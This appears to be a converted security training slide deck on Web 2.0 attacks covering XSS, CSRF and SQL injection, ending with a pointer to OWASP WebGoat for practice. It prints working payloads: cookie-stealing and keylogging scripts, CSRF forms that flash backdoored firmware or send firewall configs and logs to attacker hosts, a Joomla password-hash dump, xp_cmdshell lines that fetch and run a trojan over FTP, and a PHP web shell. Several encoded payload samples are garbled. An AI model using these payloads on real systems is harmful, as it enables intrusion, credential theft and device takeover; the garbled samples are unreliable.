

HACKING WEB 2.0 – PART 1

BEYOND SQL INJECTION

What is Web 2.0

- The term "**Web 2.0**" refers to a perceived second generation of web development and design, that aims to facilitate communication, secure information sharing, interoperability, and collaboration on the "Net".
- Web 2.0 concepts have led to the development and evolution of web-based communities, hosted services, and **applications**; such as **social-networking** sites, **video-sharing** sites, **wikis**, and **blogs**.

What is Web 2.0 cont...

- Database driven
- Dynamic user created content
- Interconnected data
- Typically heavy use of JavaScript or ActiveX
- Asynchronous JavaScript and XML (AJAX)
- Flash

Anatomy of a Web 2.0 website

Users create content by:

- Input via forms
 - Text
 - Images
 - gif
 - jpg
 - png
- 3rd party applications via sites api
 - Mobile phone apps
 - Desktop apps
 - Site 'widgets'

Other users can view content created by other users that is stored in the database

Some content is displayed on the entire site

Anatomy of a Web 2.0 website

The majority of attacks on Web 2.0 websites arise from one issue.

Programmers failing to validate/sanitize input.

- Data placed in fields
- Images uploaded
- HTTP get requests
- Browser referrers?
- User-agents?

Common Web 2.0 attacks

- Cross Site Scripting (XSS)
- Cross Site Request Forgery (CSRF)
- Click-Jacking
- GIFAR
- URL frame injection
- SQL Injection

Cross site scripting (XSS)

Three distinct types:

- DOM based (type 0)
 - Also referred to as **local** cross-site scripting
 - Targets client sided HTML pages (installed by local software packages)
- Non-Persistent (type 1)
 - Also referred to as a **reflected**
 - Data supplied by web client is used immediately by server-side scripts to generate a page, commonly via manipulating the URL
- Persistent (type 2)
 - Also referred to as a **stored** or **second-order**
 - Data provided to a web application by a user is first stored persistently on the server (in a database, filesystem, or other location), and later displayed to users in a web page without being encoded
 - Sites where users are allowed to post HTML formatted messages for other users to read (message boards for example)

Cross site scripting (XSS)

DOM based (type 0)

- David sends the URL of a maliciously constructed web page to Keith, using email or another mechanism
- Keith clicks on the link
- The malicious web page's JavaScript opens a vulnerable HTML page installed locally on Keith's computer
- The vulnerable HTML page contains JavaScript which executes in Keith's computer's local zone
- David's malicious script now may run commands with the privileges Keith holds on his own computer

Cross site scripting (XSS)

Non-Persistent (type 1)

- Keith often visits a particular website, which is hosted by David. David's website allows Keith to log in with a username/password pair and store sensitive information, such as billing information.
- David observes that Jason's website contains a reflected XSS vulnerability.
- David crafts a URL to exploit the vulnerability, and sends Keith an email, enticing him to click on a link for the URL.
- Keith visits the URL provided by David while logged into David's website.
- The malicious script embedded in the URL executes in Keith's browser, as if it came directly from David's server. The script can be used to email Keith's session cookie to David. David can then use the session cookie to steal sensitive information available to Keith (authentication credentials, billing info, etc) without Keith's knowledge.

Example: `http://www.my-evil-site.com/index.php?id=1"><script>alert('document.cookie');</script>`

Cross site scripting (XSS)

Persistent (type 2)

- Jason hosts a web site which allows users to post messages and other content to the site for later viewing by other members.
- David notices that Jason's website is vulnerable to a type 2 XSS attack.
- David posts a message, controversial in nature, which may encourage many other users of the site to view it.
- Upon merely viewing the posted message, site users' session cookies or other credentials could be taken and sent to David's webserver without their knowledge.
- Later, David logs in as other site users and posts messages on their behalf....

Cross site scripting (XSS) filters

Defender | Attacker

Filters the string <script>

<ScRipt> or

%3cscript%3e or

jav	ascript: or

<BODY onload!#\$%&()*~+-_.,:;?@[/\]^`=alert("XSS")>

Filters "script | alert | javascript | slashes etc...

Encodes payload: (<script>document.location(www.my-evil-site.com);</script>)

Hex:

%3C%73%63%72%69%70%74%3E%64%6F%63%75%6D%65%6E%74%2E%6C%6F%63%61%74%69%6F%6E%28%77%77%77%2E%6D%79%2D%65%76%69%6C%2D%73%69%74%65%2E%63%6F%6D%29%3B%3C%2F%73%63%72%69%70%74%3E

Cross site scripting (XSS) filters

Defender | Attacker

Encodes payload: (<script>document.location(www.my-evil-site.com);</script>)

HTML with semicolons:

<script>document.location(www.my-evil-site.com);</script>

Cross site scripting (XSS) filters

Defender | Attacker

Encodes payload: (<script>document.location(www.my-evil-site.com);</script>)

Decimal:

<script>document.locatio(ww.my-evil-site.com);</scrit>

Base64:

PHNjcmlwdD5kb2N1bWVudC5sb2NhdGlvb3d3cubXktZXZpbC1zaXRILmNvbSk7PC9zY3JpcHQ+

Cross site scripting (XSS)

Other XSS attacks.

Log Keystrokes

```
<script>document.onkeypress = function () {  
    window.status += String.fromCharCode(window.event.keyCode);  
} </script>
```

Grab clipboard contents

```
<script>  
    alert(window.clipboard.getData('Text'));  
</script>
```

Steal Browser history, port scan local network

Cross site request forgery

Exploits the trust that a site has in a user's browser

Example:

You just checked your bank account balance and moved on to check David's website. In the HTML code, David placed

```

```

If Keith's bank keeps his authentication information in a cookie, and if the cookie hasn't expired, then the attempt by Keith's browser to load the image will submit the withdrawal form with his cookie, thus authorizing a transaction without Keith's approval.

Cross site request forgery

Where else can this be applied?

```

```

Changes uTorrent's default download location to the startup folder.

Followed by

```
<img src=http://localhost:14774/gui/?action=add-url&s=http://www.whatever.com/file.torrent>
```

If the torrent contained evil.bat, it would now run on startup.

Cross site request forgery

How about network protocols?

An attacker connected to the same wired network as the affected device could send a specially crafted DHCPREQUEST message containing a malicious payload in the DHCP Options Hostname field

```
<iframe height=0 width=0 src='http://my-evil-site.com/'>
```

This payload would then be passed from the DHCP server to the admin web interface and executed when the DHCP active leases page was visited by an administrator

The malicious payload in the DHCP Options Hostname field references to a script hosted in the attacker's web server. Below it can be seen an example of the malicious script hosted in the attacker's web server. This code will vary depending on the affected device.

```
<html>  
<body onload="javascript:document.forms.frmExecPlus.submit();">  
<form name="frmExecPlus" action="https://target/exec.php" method="POST">  
<input name="txtCommand" type="hyden" size="80" value="whoami">  
<input type="hidden" value="Execute">  
</form>  
</body>
```

The malicious script hosted in the attacker's web server is used to perform a CSRF attack against the affected administrative interface. This script causes the administrator's browser to make a POST request to the command execution functionality (exec.php) and executes the desired command.

Source: <http://usefulfor.com/security/2008/08/04/dhcp-script-injection/>

Cross site request forgery

How about CSRF and XSS

D-link VoIP Phone Adapter XSS and XSRF(remote firmware overwrite)

model number: DVG-2001s

f/w version 1.00.007

Better than just remote code execution, you control the firmware.

```
<html>
<form action="http://10.1.1.166/Forms/cbi_Set_SW_Update?16640,0,0,0,0,0,0,0,0"
method="POST">
<input name="page_HiddenVar" value="0">
<input name="TFTPServerAddress1" value="10">
<input name="TFTPServerAddress2" value="1">
<input name="TFTPServerAddress3" value="1">
<input name="TFTPServerAddress4" value="1">
<input name="FirmwareUpdate" value="enabled">
<input name="FileName" value="backdoored_firmware.img">
<input type=submit value="attack">
</form>
</html>
```

and xss which can be used for csrf bypass:

```
http://10.1.1.166/Forms/page_CfgDevInfo_Set?%3Cscript%3Ealert(%22hacked%22)%3C/script%3E
```

Cross site request forgery

Profense Web Application Firewall XSRF and XSS Version: 2.6.2

Changing configuration: DNS, SMTP, NTP servers.

Set a (malicious) remote FTP server or SCP server to backup (steal) configuration files. This could be used to steal the configurations.

Set a remote syslog server to steal the logs

Enable SSH

Enable SNMP

`<img`

```
src=https://10.1.1.199:2000/ajax.html?hostname=profense.mydomain.com&gateway=10.1.1.1&dns=10.1.1.1&smtp=10.1.1.1&max_src_conn=100&max_src_conn_rate_num=100&max_src_conn_rate_sec=10&blacklist_exp=3600&ntp=ntp.hacked.com&timezone=CET&syslog=syslog.hacked.com&syslog_ext_l=4&snmp_public=public&snmp_location=&contact=admin%40mydomain.com&ftp_server=ftp.hacked.com&ftp_port=21&ftp_login=user&ftp_passwd=password&ftp_remote_dir=%2Fhijacked_log&scp_server=scp.hacked.com&scp_port=22&scp_login=admin&scp_remote_dir=%2Fhijacked_log&ftp_auto_on=on&scp_auto_on=on&ssh_on=on&remote_support_on=on&action=configuration&do=save>
```

Cross site request forgery

Profense Web Application Firewall XSRF and XSS Version: 2.6.2

Apply new configurations:

```
<img src=https://10.1.1.199:2000/ajax.html?action=restart&do=core>
```

Add a proxy:

```
<img
```

```
src=https://10.1.1.199:2000/ajax.html?vhost_proto=http&vhost=vhost.com&vhost_port=80&rhost_p  
roto=http&rhost=10.1.1.1&rhost_port=80&mode_pass=on&xmle=on&enable_file_upload=on&static_  
passthrough=on&action=add&do=save>
```

Turn off the Proface machine:

```
<img src=https://10.1.1.199:2000/ajax.html?action=shutdown>
```

Force the Proface server to ping:

```
<img src=https://10.1.1.199:2000/ajax.html?action=ping&ip=10.1.1.1>
```

Could be used to notify the attacker that the attack succeeded.

reflective xss:

```
https://10.1.1.199:2000/proxy.html?action=manage&main=log&show=deny_log&proxy=>"<script>ale  
rt(document.cookie)</script>
```

SQL INJECTION

```
query = "SELECT * FROM users WHERE UserName = '' + UserName + '";"
```

Attacker submits query of a' or '1'='1

The query becomes:

```
statement = SELECT * FROM users WHERE name = 'a' OR '1'='1'; '
```

Since 1=1 is always true, the sql server returns the first row in the table.

What is commonly the first row in the users table?

Real world example:

Target: Joomla web app

```
http://somesite/?option=com_beamospetition&func=sign&mpid=-  
9999'%20union%20select%200,1,username,password,4,5,6,7,8,9,10,11,12,13,14,  
15%20from%20jos_users/*
```

Would return username:pwhash. Crack the md5 hash and log in.

SQL INJECTION

Not only is your Web App and Database at risk.
Depending on the Database, an attacker can access the Operating System.

MS SQL server:

xp_cmdshell: Executes OS command.

```
SELECT * FROM users WHERE name ="; exec master.dbo.xp_cmdshell "dir";--'
```

Some variants:

```
exec master.dbo.xp_cmdshell
```

```
exec master..xp_cmdshell
```

```
exec sys.xp_cmdshell
```

Filtering one string won't prevent others.

SQL INJECTION

```
'; exec sys.xp_cmdshell "echo open 192.168.10.12" >> c:\hack.txt';  
'; exec sys.xp_cmdshell "echo USER" >> c:\hack.txt';  
'; exec sys.xp_cmdshell "echo PASS" >> c:\hack.txt';  
'; exec sys.xp_cmdshell "echo GET evil.exe" >> c:\hack.txt';  
'; exec sys.xp_cmdshell "echo quit" >> c:\hack.txt';
```

Uses the previously created file to control a FTP session

```
'; exec sys.xp_cmdshell 'FTP.EXE -s:C:\hack.txt';
```

Executes the downloaded trojan

```
'; exec sys.xp_cmdshell 'c:\winnt\system32\ncx99.exe';
```

SQL INJECTION

What if xp_cmdshell is filtered properly?

```
' UNION SELECT '<?php system($_GET["cmd"]);?>' INTO DUMPFILE  
'c:/xampp/htdocs/cmd.php'-- _ (underscore == space)
```

Execute by going to <http://site/cmd.php?net%20user>

Will go more indepth on rooting a server via SQL Injection in a later presentation.

PRACTICE

Want a sandbox to practice in?
WebGoat from OWASP

PRACTICE

WebGoat is a deliberately insecure J2EE web application maintained by OWASP designed to teach web application security lessons. In each lesson, users must demonstrate their understanding of a security issue by exploiting a real vulnerability in the WebGoat application. For example, in one of the lessons the user must use SQL injection to steal fake credit card numbers. The application is a realistic teaching environment, providing users with hints and code to further explain the lesson.